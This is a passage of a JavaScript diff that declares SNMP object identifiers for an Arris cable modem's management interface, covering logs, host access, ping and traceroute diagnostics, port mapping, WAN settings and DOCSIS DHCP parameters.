+LogSettings.ChangeLogFilter= new Scalar("ChangeLogFilter","1.3.6.1.4.1.4115.1.20.1.1.5.19.4",2); +var arClearLogs=LogSettings.ClearLogs; +var arChangeLogFilter=LogSettings.ChangeLogFilter; + +var UserLogs = new Container("UserLogs", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1"); + +var FirewallLogTable = new Table("FirewallLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1"); +FirewallLogTable.FWLogIndex = new Column("FWLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.1",2); +FirewallLogTable.FWLogTime = new Column("FWLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.2",4, 1); +FirewallLogTable.FWLogInfo = new Column("FWLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.3",4); +var arFWLogIndex=FirewallLogTable.FWLogIndex; +var arFWLogTime=FirewallLogTable.FWLogTime; +var arFWLogInfo=FirewallLogTable.FWLogInfo; + +var ParentalContLogTable = new Table("ParentalContLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2"); +ParentalContLogTable.PCLogIndex = new Column("PCLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.1",2); +ParentalContLogTable.PCLogTime = new Column("PCLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.2",4, 1); +ParentalContLogTable.PCLogInfo = new Column("PCLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.3",4); +ParentalContLogTable.PCLogType = new Column("PCLogType","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.4",2); +var arPCLogIndex=ParentalContLogTable.PCLogIndex; +var arPCLogTime=ParentalContLogTable.PCLogTime; +var arPCLogInfo=ParentalContLogTable.PCLogInfo; +var arPCLogType=ParentalContLogTable.PCLogType; + +var ChangeLogTable = new Table("ChangeLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3"); +ChangeLogTable.ChangeLogIndex = new Column("ChangeLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.1",2); +ChangeLogTable.ChangeLogTime = new Column("ChangeLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.2",4,1); +ChangeLogTable.ChangeLogInfo = new Column("ChangeLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.3",4); +var arChangeLogIndex=ChangeLogTable.ChangeLogIndex; +var arChangeLogTime=ChangeLogTable.ChangeLogTime; +var arChangeLogInfo=ChangeLogTable.ChangeLogInfo; + +var DebugLogTable = new Table("DebugLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4"); +DebugLogTable.DebugLogIndex = new Column("DebugLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.1",2); +DebugLogTable.DebugLogTime = new Column("DebugLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.2",4,1); +DebugLogTable.DebugLogInfo = new Column("DebugLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.3",4); +var arDebugLogIndex=DebugLogTable.DebugLogIndex; +var arDebugLogTime=DebugLogTable.DebugLogTime; +var arDebugLogInfo=DebugLogTable.DebugLogInfo; + +var DHCPLogTable = new Table("DHCPLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5"); +DHCPLogTable.DHCPLogIndex = new Column("DHCPLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.1",2); +DHCPLogTable.DHCPLogTime = new Column("DHCPLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.2",4,1); +DHCPLogTable.DHCPLogInfo = new Column("DHCPLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.3",4); +var arDHCPLogIndex=DHCPLogTable.DHCPLogIndex; +var arDHCPLogTime=DHCPLogTable.DHCPLogTime; +var arDHCPLogInfo=DHCPLogTable.DHCPLogInfo; + +var LanClientLogTable = new Table("LanClientLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6"); +LanClientLogTable.LanClientLogIndex = new Column("LanClientLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.1",2); +LanClientLogTable.LanClientLogTime = new Column("LanClientLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.2",4,1); +LanClientLogTable.LanClientLogInfo = new Column("LanClientLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.3",4); +var arLanClientLogIndex=LanClientLogTable.LanClientLogIndex; +var arLanClientLogTime=LanClientLogTable.LanClientLogTime; +var arLanClientLogInfo=LanClientLogTable.LanClientLogInfo; + +var MSOLogs = new Container("MSOLogs", "1.3.6.1.4.1.4115.1.20.1.1.5.19.2"); +MSOLogs.ClearMSOLogs= new Scalar("ClearMSOLogs","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.2",2); +var arClearMSOLogs=MSOLogs.ClearMSOLogs; + +var MSOChgLogTable = new Table("MSOChgLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1"); +MSOChgLogTable.MSOChgLogIndex = new Column("MSOChgLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.1",2); +MSOChgLogTable.MSOChgLogTime = new Column("MSOChgLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.2",4,1); +MSOChgLogTable.MSOChgLogInfo = new Column("MSOChgLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.3",4); +var arMSOChgLogIndex=MSOChgLogTable.MSOChgLogIndex; +var arMSOChgLogTime=MSOChgLogTable.MSOChgLogTime; +var arMSOChgLogInfo=MSOChgLogTable.MSOChgLogInfo; + +var InboundTrafficLogTable = new Table("InboundTrafficLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.42"); +InboundTrafficLogTable.InboundTrafficLogIndex = new Column("InboundTrafficLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.42.1.1",66); +InboundTrafficLogTable.InboundTrafficLogData = new Column("InboundTrafficLogData","1.3.6.1.4.1.4115.1.20.1.1.5.42.1.2",4); +var arInboundTrafficLogIndex=InboundTrafficLogTable.InboundTrafficLogIndex; +var arInboundTrafficLogData=InboundTrafficLogTable.InboundTrafficLogData; + +var HostAccess = new Container("HostAccess", "1.3.6.1.4.1.4115.1.20.1.1.6"); +HostAccess.HostAccessClientSeed= new Scalar("HostAccessClientSeed","1.3.6.1.4.1.4115.1.20.1.1.6.1",4,1); +HostAccess.HostCLITimeout= new Scalar("HostCLITimeout","1.3.6.1.4.1.4115.1.20.1.1.6.2",66); +HostAccess.HostAccessSSHEnable= new Scalar("HostAccessSSHEnable","1.3.6.1.4.1.4115.1.20.1.1.6.3",2); +HostAccess.HostAccessSSHPassword= new Scalar("HostAccessSSHPassword","1.3.6.1.4.1.4115.1.20.1.1.6.4",4); +HostAccess.WebAccessFreeIdx= new Scalar("WebAccessFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.6.5",2); +HostAccess.WebAccessSetting= new Scalar("WebAccessSetting","1.3.6.1.4.1.4115.1.20.1.1.6.6",2); +HostAccess.WebAccessWANACL= new Scalar("WebAccessWANACL","1.3.6.1.4.1.4115.1.20.1.1.6.8",4); +var arHostAccessClientSeed=HostAccess.HostAccessClientSeed; +var arHostCLITimeout=HostAccess.HostCLITimeout; +var arHostAccessSSHEnable=HostAccess.HostAccessSSHEnable; +var arHostAccessSSHPassword=HostAccess.HostAccessSSHPassword; +var arWebAccessFreeIdx=HostAccess.WebAccessFreeIdx; +var arWebAccessSetting=HostAccess.WebAccessSetting; +var arWebAccessWANACL=HostAccess.WebAccessWANACL; + +var WebAccessTable = new Table("WebAccessTable", "1.3.6.1.4.1.4115.1.20.1.1.6.7"); +WebAccessTable.WebAccessIndex = new Column("WebAccessIndex","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.1",2); +WebAccessTable.WebAccessPage = new Column("WebAccessPage","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.2",4); +WebAccessTable.WebAccessLevel = new Column("WebAccessLevel","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.3",2); +WebAccessTable.WebAccessRowStatus = new Column("WebAccessRowStatus","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.4",2); +var arWebAccessIndex=WebAccessTable.WebAccessIndex; +var arWebAccessPage=WebAccessTable.WebAccessPage; +var arWebAccessLevel=WebAccessTable.WebAccessLevel; +var arWebAccessRowStatus=WebAccessTable.WebAccessRowStatus; + +var PingMgmt = new Container("PingMgmt", "1.3.6.1.4.1.4115.1.20.1.1.7"); +PingMgmt.PingTargetAddrType= new Scalar("PingTargetAddrType","1.3.6.1.4.1.4115.1.20.1.1.7.1",2); +PingMgmt.PingTargetAddress= new Scalar("PingTargetAddress","1.3.6.1.4.1.4115.1.20.1.1.7.2",4, 1); +PingMgmt.PingNumPkts= new Scalar("PingNumPkts","1.3.6.1.4.1.4115.1.20.1.1.7.3",66); +PingMgmt.PingPktSize= new Scalar("PingPktSize","1.3.6.1.4.1.4115.1.20.1.1.7.4",66); +PingMgmt.PingInterval= new Scalar("PingInterval","1.3.6.1.4.1.4115.1.20.1.1.7.5",66); +PingMgmt.PingTimeout= new Scalar("PingTimeout","1.3.6.1.4.1.4115.1.20.1.1.7.6",2); +PingMgmt.PingVerifyReply= new Scalar("PingVerifyReply","1.3.6.1.4.1.4115.1.20.1.1.7.7",2); +PingMgmt.PingIpStackNumber= new Scalar("PingIpStackNumber","1.3.6.1.4.1.4115.1.20.1.1.7.8",2); +PingMgmt.PingStartStop= new Scalar("PingStartStop","1.3.6.1.4.1.4115.1.20.1.1.7.9",2); +PingMgmt.PingPktsSent= new Scalar("PingPktsSent","1.3.6.1.4.1.4115.1.20.1.1.7.10",65); +PingMgmt.PingRepliesReceived= new Scalar("PingRepliesReceived","1.3.6.1.4.1.4115.1.20.1.1.7.11",65); +PingMgmt.PingRepliesVerified= new Scalar("PingRepliesVerified","1.3.6.1.4.1.4115.1.20.1.1.7.12",65); +PingMgmt.PingOctetsSent= new Scalar("PingOctetsSent","1.3.6.1.4.1.4115.1.20.1.1.7.13",65); +PingMgmt.PingOctetsReceived= new Scalar("PingOctetsReceived","1.3.6.1.4.1.4115.1.20.1.1.7.14",65); +PingMgmt.PingIcmpErrors= new Scalar("PingIcmpErrors","1.3.6.1.4.1.4115.1.20.1.1.7.15",65); +PingMgmt.PingLastIcmpError= new Scalar("PingLastIcmpError","1.3.6.1.4.1.4115.1.20.1.1.7.16",66); +var arPingTargetAddrType=PingMgmt.PingTargetAddrType; +var arPingTargetAddress=PingMgmt.PingTargetAddress; +var arPingNumPkts=PingMgmt.PingNumPkts; +var arPingPktSize=PingMgmt.PingPktSize; +var arPingInterval=PingMgmt.PingInterval; +var arPingTimeout=PingMgmt.PingTimeout; +var arPingVerifyReply=PingMgmt.PingVerifyReply; +var arPingIpStackNumber=PingMgmt.PingIpStackNumber; +var arPingStartStop=PingMgmt.PingStartStop; +var arPingPktsSent=PingMgmt.PingPktsSent; +var arPingRepliesReceived=PingMgmt.PingRepliesReceived; +var arPingRepliesVerified=PingMgmt.PingRepliesVerified; +var arPingOctetsSent=PingMgmt.PingOctetsSent; +var arPingOctetsReceived=PingMgmt.PingOctetsReceived; +var arPingIcmpErrors=PingMgmt.PingIcmpErrors; +var arPingLastIcmpError=PingMgmt.PingLastIcmpError; + +var TraceRtMgmt = new Container("TraceRtMgmt", "1.3.6.1.4.1.4115.1.20.1.1.8"); +TraceRtMgmt.TraceRtTargAddrType= new Scalar("TraceRtTargAddrType","1.3.6.1.4.1.4115.1.20.1.1.8.1",2); +TraceRtMgmt.TraceRtTargetAddr= new Scalar("TraceRtTargetAddr","1.3.6.1.4.1.4115.1.20.1.1.8.2",4, 1); +TraceRtMgmt.TraceRtMaxHops= new Scalar("TraceRtMaxHops","1.3.6.1.4.1.4115.1.20.1.1.8.3",2); +TraceRtMgmt.TraceRtDataSize= new Scalar("TraceRtDataSize","1.3.6.1.4.1.4115.1.20.1.1.8.4",2); +TraceRtMgmt.TraceRtResolveHosts= new Scalar("TraceRtResolveHosts","1.3.6.1.4.1.4115.1.20.1.1.8.5",2); +TraceRtMgmt.TraceRtBasePort= new Scalar("TraceRtBasePort","1.3.6.1.4.1.4115.1.20.1.1.8.6",2); +TraceRtMgmt.TraceRtStart= new Scalar("TraceRtStart","1.3.6.1.4.1.4115.1.20.1.1.8.7",2); +TraceRtMgmt.TraceRtLog= new Scalar("TraceRtLog","1.3.6.1.4.1.4115.1.20.1.1.8.8",4); +var arTraceRtTargAddrType=TraceRtMgmt.TraceRtTargAddrType; +var arTraceRtTargetAddr=TraceRtMgmt.TraceRtTargetAddr; +var arTraceRtMaxHops=TraceRtMgmt.TraceRtMaxHops; +var arTraceRtDataSize=TraceRtMgmt.TraceRtDataSize; +var arTraceRtResolveHosts=TraceRtMgmt.TraceRtResolveHosts; +var arTraceRtBasePort=TraceRtMgmt.TraceRtBasePort; +var arTraceRtStart=TraceRtMgmt.TraceRtStart; +var arTraceRtLog=TraceRtMgmt.TraceRtLog; + +var ICtrl = new Container("ICtrl", "1.3.6.1.4.1.4115.1.20.1.1.10"); +ICtrl.ICtrlPortMapCount= new Scalar("ICtrlPortMapCount","1.3.6.1.4.1.4115.1.20.1.1.10.1",2); +var arICtrlPortMapCount=ICtrl.ICtrlPortMapCount; + +var ICtrlPortMapTable = new Table("ICtrlPortMapTable", "1.3.6.1.4.1.4115.1.20.1.1.10.2"); +ICtrlPortMapTable.ICtrlPortMapIndex = new Column("ICtrlPortMapIndex","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.1",2); +ICtrlPortMapTable.PortMapDescription = new Column("PortMapDescription","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.2",4); +ICtrlPortMapTable.PortMapInternalClientAddrType = new Column("PortMapInternalClientAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.3",2); +ICtrlPortMapTable.PortMapInternalClientAddr = new Column("PortMapInternalClientAddr","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.4",4,1); +ICtrlPortMapTable.PortMapProtocol = new Column("PortMapProtocol","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.5",2); +ICtrlPortMapTable.PortMapExternalPort = new Column("PortMapExternalPort","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.6",66); +ICtrlPortMapTable.PortMapInternalPort = new Column("PortMapInternalPort","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.7",66); +ICtrlPortMapTable.PortMapRowStatus = new Column("PortMapRowStatus","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.8",2); +// scm add x 4 +ICtrlPortMapTable.PortMapInternalStartPort= new Column("PortMapInternalStartPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.9",66); +ICtrlPortMapTable.PortMapInternalEndPort= new Column("PortMapInternalEndPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.10",66); +ICtrlPortMapTable.PortMapExternalStartPort = new Column("PortMapExternalStartPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.11",66); +ICtrlPortMapTable.PortMapExternalEndPort= new Column("PortMapExternalEndPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.12",66); + +var arICtrlPortMapIndex=ICtrlPortMapTable.ICtrlPortMapIndex; +var arPortMapDescription=ICtrlPortMapTable.PortMapDescription; +var arPortMapInternalClientAddrType=ICtrlPortMapTable.PortMapInternalClientAddrType; +var arPortMapInternalClientAddr=ICtrlPortMapTable.PortMapInternalClientAddr; +var arPortMapProtocol=ICtrlPortMapTable.PortMapProtocol; +var arPortMapExternalPort=ICtrlPortMapTable.PortMapExternalPort; +var arPortMapInternalPort=ICtrlPortMapTable.PortMapInternalPort; +var arPortMapRowStatus=ICtrlPortMapTable.PortMapRowStatus; +var arPortMapExternalStartPort = ICtrlPortMapTable.PortMapExternalStartPort; +var arPortMapExternalEndPort= ICtrlPortMapTable.PortMapExternalEndPort; +var arPortMapInternalStartPort= ICtrlPortMapTable.PortMapInternalStartPort; +var arPortMapInternalEndPort= ICtrlPortMapTable.PortMapInternalEndPort; + + + +var ICtrlGetDeviceSettings = new Container("ICtrlGetDeviceSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.3"); +ICtrlGetDeviceSettings.ICtrlDeviceSettingsFWversion= new Scalar("ICtrlDeviceSettingsFWversion","1.3.6.1.4.1.4115.1.20.1.1.10.3.1",4); +var arICtrlDeviceSettingsFWversion=ICtrlGetDeviceSettings.ICtrlDeviceSettingsFWversion; + +var ICtrlIsDeviceReady = new Container("ICtrlIsDeviceReady", "1.3.6.1.4.1.4115.1.20.1.1.10.4"); +ICtrlIsDeviceReady.ICtrlDeviceStatus= new Scalar("ICtrlDeviceStatus","1.3.6.1.4.1.4115.1.20.1.1.10.4.1",2); +var arICtrlDeviceStatus=ICtrlIsDeviceReady.ICtrlDeviceStatus; + +var ICtrlReboot = new Container("ICtrlReboot", "1.3.6.1.4.1.4115.1.20.1.1.10.5"); +ICtrlReboot.ICtrlInitiateReboot= new Scalar("ICtrlInitiateReboot","1.3.6.1.4.1.4115.1.20.1.1.10.5.1",2); +var arICtrlInitiateReboot=ICtrlReboot.ICtrlInitiateReboot; + +var ICtrlSetDeviceSettings = new Container("ICtrlSetDeviceSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.6"); +ICtrlSetDeviceSettings.ICtrlSetDeviceName= new Scalar("ICtrlSetDeviceName","1.3.6.1.4.1.4115.1.20.1.1.10.6.1",4); +ICtrlSetDeviceSettings.ICtrlSetAdminPassword= new Scalar("ICtrlSetAdminPassword","1.3.6.1.4.1.4115.1.20.1.1.10.6.2",4); +var arICtrlSetDeviceName=ICtrlSetDeviceSettings.ICtrlSetDeviceName; +var arICtrlSetAdminPassword=ICtrlSetDeviceSettings.ICtrlSetAdminPassword; + +var ICtrlRouterSettings = new Container("ICtrlRouterSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.7"); +ICtrlRouterSettings.ICtrlRouterManageRemote= new Scalar("ICtrlRouterManageRemote","1.3.6.1.4.1.4115.1.20.1.1.10.7.1",2); +ICtrlRouterSettings.ICtrlRouterRemotePort= new Scalar("ICtrlRouterRemotePort","1.3.6.1.4.1.4115.1.20.1.1.10.7.2",66); +ICtrlRouterSettings.ICtrlRouterRemoteSSL= new Scalar("ICtrlRouterRemoteSSL","1.3.6.1.4.1.4115.1.20.1.1.10.7.3",2); +var arICtrlRouterManageRemote=ICtrlRouterSettings.ICtrlRouterManageRemote; +var arICtrlRouterRemotePort=ICtrlRouterSettings.ICtrlRouterRemotePort; +var arICtrlRouterRemoteSSL=ICtrlRouterSettings.ICtrlRouterRemoteSSL; + +var ICtrlWLanRadioSettings = new Container("ICtrlWLanRadioSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.8"); +ICtrlWLanRadioSettings.ICtrlWLanRadioMacAddress= new Scalar("ICtrlWLanRadioMacAddress","1.3.6.1.4.1.4115.1.20.1.1.10.8.1",4,1); +ICtrlWLanRadioSettings.ICtrlWLanRadioChannelWidth= new Scalar("ICtrlWLanRadioChannelWidth","1.3.6.1.4.1.4115.1.20.1.1.10.8.2",66); +var arICtrlWLanRadioMacAddress=ICtrlWLanRadioSettings.ICtrlWLanRadioMacAddress; +var arICtrlWLanRadioChannelWidth=ICtrlWLanRadioSettings.ICtrlWLanRadioChannelWidth; + +var ICtrlSetBridgeConnect = new Container("ICtrlSetBridgeConnect", "1.3.6.1.4.1.4115.1.20.1.1.10.9"); +ICtrlSetBridgeConnect.ICtrlSetBridgeEthernetPort= new Scalar("ICtrlSetBridgeEthernetPort","1.3.6.1.4.1.4115.1.20.1.1.10.9.1",66); +ICtrlSetBridgeConnect.ICtrlSetBridgeMinutes= new Scalar("ICtrlSetBridgeMinutes","1.3.6.1.4.1.4115.1.20.1.1.10.9.2",66); +ICtrlSetBridgeConnect.ICtrlSetBridgePermanentPort4Enable= new Scalar("ICtrlSetBridgePermanentPort4Enable","1.3.6.1.4.1.4115.1.20.1.1.10.9.3",2); +var arICtrlSetBridgeEthernetPort=ICtrlSetBridgeConnect.ICtrlSetBridgeEthernetPort; +var arICtrlSetBridgeMinutes=ICtrlSetBridgeConnect.ICtrlSetBridgeMinutes; +var arRouterICtrlSetBridgePermanentPort4Enable=ICtrlSetBridgeConnect.ICtrlSetBridgePermanentPort4Enable; + +var ICtrlGetWanSettings = new Container("ICtrlGetWanSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.10"); +ICtrlGetWanSettings.ICtrlGetWanType= new Scalar("ICtrlGetWanType","1.3.6.1.4.1.4115.1.20.1.1.10.10.2",4); +ICtrlGetWanSettings.ICtrlGetWanMTU= new Scalar("ICtrlGetWanMTU","1.3.6.1.4.1.4115.1.20.1.1.10.10.3",66); +ICtrlGetWanSettings.ICtrlGetWanPrefixLen= new Scalar("ICtrlGetWanPrefixLen","1.3.6.1.4.1.4115.1.20.1.1.10.10.4",66); +ICtrlGetWanSettings.ICtrlGetWanGatewayAddrType= new Scalar("ICtrlGetWanGatewayAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.10.5",2); +ICtrlGetWanSettings.ICtrlGetWanGatewayAddr= new Scalar("ICtrlGetWanGatewayAddr","1.3.6.1.4.1.4115.1.20.1.1.10.10.6",4,1); +ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddrType= new Scalar("ICtrlGetWanDNSPrimaryAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.10.7",2); +ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddr= new Scalar("ICtrlGetWanDNSPrimaryAddr","1.3.6.1.4.1.4115.1.20.1.1.10.10.8",4,1); +ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddrType= new Scalar("ICtrlGetWanDNSSecondaryAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.10.9",2); +ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddr= new Scalar("ICtrlGetWanDNSSecondaryAddr","1.3.6.1.4.1.4115.1.20.1.1.10.10.10",4,1); +ICtrlGetWanSettings.ICtrlGetWanMacAddress= new Scalar("ICtrlGetWanMacAddress","1.3.6.1.4.1.4115.1.20.1.1.10.10.11",4,1); +var arICtrlGetWanType=ICtrlGetWanSettings.ICtrlGetWanType; +var arICtrlGetWanMTU=ICtrlGetWanSettings.ICtrlGetWanMTU; +var arICtrlGetWanPrefixLen=ICtrlGetWanSettings.ICtrlGetWanPrefixLen; +var arICtrlGetWanGatewayAddrType=ICtrlGetWanSettings.ICtrlGetWanGatewayAddrType; +var arICtrlGetWanGatewayAddr=ICtrlGetWanSettings.ICtrlGetWanGatewayAddr; +var arICtrlGetWanDNSPrimaryAddrType=ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddrType; +var arICtrlGetWanDNSPrimaryAddr=ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddr; +var arICtrlGetWanDNSSecondaryAddrType=ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddrType; +var arICtrlGetWanDNSSecondaryAddr=ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddr; +var arICtrlGetWanMacAddress=ICtrlGetWanSettings.ICtrlGetWanMacAddress; + +ICtrl.ICtrlPortMapTableEnabled= new Scalar("ICtrlPortMapTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.10.14",2); +var arICtrlPortMapTableEnabled=ICtrl.ICtrlPortMapTableEnabled; + +var mib2system = new Container("mib2system", "1.3.6.1.2.1.1"); +mib2system.sysName= new Scalar("mib2sysname","1.3.6.1.2.1.1.5",4); +mib2system.sysDescr= new Scalar("mib2sysdescr","1.3.6.1.2.1.1.1",4); +mib2system.sysTime= new Scalar("mib2systime","1.3.6.1.2.1.1.3",0x43); +mib2system.sysContact= new Scalar("mib2syscontact","1.3.6.1.2.1.1.4",4); + +var docsdevBase = new Container("docsdevBase", "1.3.6.1.2.1.69.1.1"); +docsdevBase.DateTime = new Scalar("DateTime","1.3.6.1.2.1.69.1.1.2",4,1); +docsdevBase.ResetNow = new Scalar("ResetNow","1.3.6.1.2.1.69.1.1.3",2); +docsdevBase.SerialNumber = new Scalar("SerialNumber","1.3.6.1.2.1.69.1.1.4",4); + +var docsDevSoftware = new Container("docsDevSoftware", "1.3.6.1.2.1.69.1.3"); +docsDevSoftware.CurrentVers = new Scalar("CurrentVers", "1.3.6.1.2.1.69.1.3.5",4); + +var mib2interface = new Container("mib2interface", "1.3.6.1.2.1.2"); +mib2interface.ifNumber= new Scalar("mib2interfaceNumber","1.3.6.1.2.1.2.1",2); +var mib2iftable = new Table("mib2iftable", "1.3.6.1.2.1.2.2"); +mib2iftable.ifIndex = new Column("ifIndex","1.3.6.1.2.1.2.2.1.1",2); +mib2iftable.ifDescr = new Column("ifDescr","1.3.6.1.2.1.2.2.1.2",4); +mib2iftable.ifType = new Column("ifType","1.3.6.1.2.1.2.2.1.3",2); +mib2iftable.ifMtu = new Column("ifMtu","1.3.6.1.2.1.2.2.1.4",2); +mib2iftable.ifSpeed = new Column("ifSpeed", "1.3.6.1.2.1.2.2.1.5",0x42); +mib2iftable.ifPhyAddress = new Column("ifPhyAddress","1.3.6.1.2.1.2.2.1.6",4,1); +mib2iftable.ifOperStatus = new Column("ifOperStatus","1.3.6.1.2.1.2.2.1.8",2); +// scm start +mib2iftable.ifUpTime = new Column("ifUpTime", "1.3.6.1.2.1.2.2.1.9",4,1); +// scm end + +var arrisCmDoc30Software = new Container("arrisCmDoc30Software", "1.3.6.1.4.1.4115.1.3.4.1.5"); +arrisCmDoc30Software.RegistrationState = new Scalar("arrisCmDoc30SwRegistrationState","1.3.6.1.4.1.4115.1.3.4.1.5.9",2); +var arrisCmDoc30DhcpSvrParameters = new Container("arrisCmDoc30DhcpSvrParameters", "1.3.6.1.4.1.4115.1.3.4.1.4.2"); +arrisCmDoc30DhcpSvrParameters.TimeSvrIpAddr = new Scalar("arrisCmDoc30DhcpTimeSvrIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.2.4",4,1); +arrisCmDoc30DhcpSvrParameters.PrimaryDhcpServerIpAddr = new Scalar("arrisCmDoc30DhcpPrimaryDhcpServerIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.2.2",4,1); +arrisCmDoc30DhcpSvrParameters.TftpSvrIpAddr = new Scalar("arrisCmDoc30DhcpTftpSvrIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.2.3",4,1); +arrisCmDoc30DhcpSvrParameters.TimeOffset = new Scalar("arrisCmDoc30DhcpCmTimeOffset","1.3.6.1.4.1.4115.1.3.4.1.4.2.5",2); +arrisCmDoc30DhcpSvrParameters.PrimaryTeleDhcpSvr = new Scalar("arrisCmDoc30DhcpPrimaryTeleDhcpSvr","1.3.6.1.4.1.4115.1.3.4.1.4.2.6",4,1); +arrisCmDoc30DhcpSvrParameters.SecondaryTeleDhcpSvr = new Scalar("arrisCmDoc30DhcpSecondaryTeleDhcpSvr","1.3.6.1.4.1.4115.1.3.4.1.4.2.7",4,1); +var arCmDoc30DhcpPrimaryDhcpServerIpAddr = arrisCmDoc30DhcpSvrParameters.PrimaryDhcpServerIpAddr; +var arCmDoc30DhcpTftpSvrIpAddr = arrisCmDoc30DhcpSvrParameters.TftpSvrIpAddr; +var arCmDoc30DhcpTimeSvrIpAddr = arrisCmDoc30DhcpSvrParameters.TimeSvrIpAddr; +var arCmDoc30DhcpTimeOffset = arrisCmDoc30DhcpSvrParameters.TimeOffset; +var arCmDoc30DhcpPrimaryTeleDhcpSvr = arrisCmDoc30DhcpSvrParameters.PrimaryTeleDhcpSvr; +var arCmDoc30DhcpSecondaryTeleDhcpSvr = arrisCmDoc30DhcpSvrParameters.SecondaryTeleDhcpSvr; + + +var arrisCmDoc30DhcpCmParameters = new Container("arrisCmDoc30DhcpCmParameters", "1.3.6.1.4.1.4115.1.3.4.1.4.3"); +arrisCmDoc30DhcpCmParameters.CmIpAddr = new Scalar("arrisCmDoc30DhcpCmIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.3.2",4,1); +arrisCmDoc30DhcpCmParameters.CmSubNetMask = new Scalar("arrisCmDoc30DhcpCmSubNetMask","1.3.6.1.4.1.4115.1.3.4.1.4.3.3",4,1); +arrisCmDoc30DhcpCmParameters.CmGatewayIpAddr = new Scalar("arrisCmDoc30DhcpCmGatewayIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.3.4",4,1); +arrisCmDoc30DhcpCmParameters.CmConfigFile = new Scalar("arrisCmDoc30DhcpCmConfigFile","1.3.6.1.4.1.4115.1.3.4.1.4.3.5",4); +var arCmDoc30DhcpCmIpAddr = arrisCmDoc30DhcpCmParameters.CmIpAddr; +var arCmDoc30DhcpCmSubNetMask = arrisCmDoc30DhcpCmParameters.CmSubNetMask; +var arCmDoc30DhcpCmGatewayIpAddr = arrisCmDoc30DhcpCmParameters.CmGatewayIpAddr; +var arCmDoc30DhcpCmConfigFile = arrisCmDoc30DhcpCmParameters.CmConfigFile; + +var arrisCmDoc30Setup = new Container("arrisCmDoc30Setup", "1.3.6.1.4.1.4115.1.3.4.1.3"); +arrisCmDoc30Setup.MddIpModeOverride = new Scalar("arrisCmDoc30SetupMddIpModeOverride","1.3.6.1.4.1.4115.1.3.4.1.3.7",2); +var arCmDoc30SetupMddIpModeOverride = arrisCmDoc30Setup.MddIpModeOverride; + +var arrisCmDoc30Base = new Container("arrisCmDoc30Base", "1.3.6.1.4.1.4115.1.3.4.1.1"); +arrisCmDoc30Base.TodStatus = new 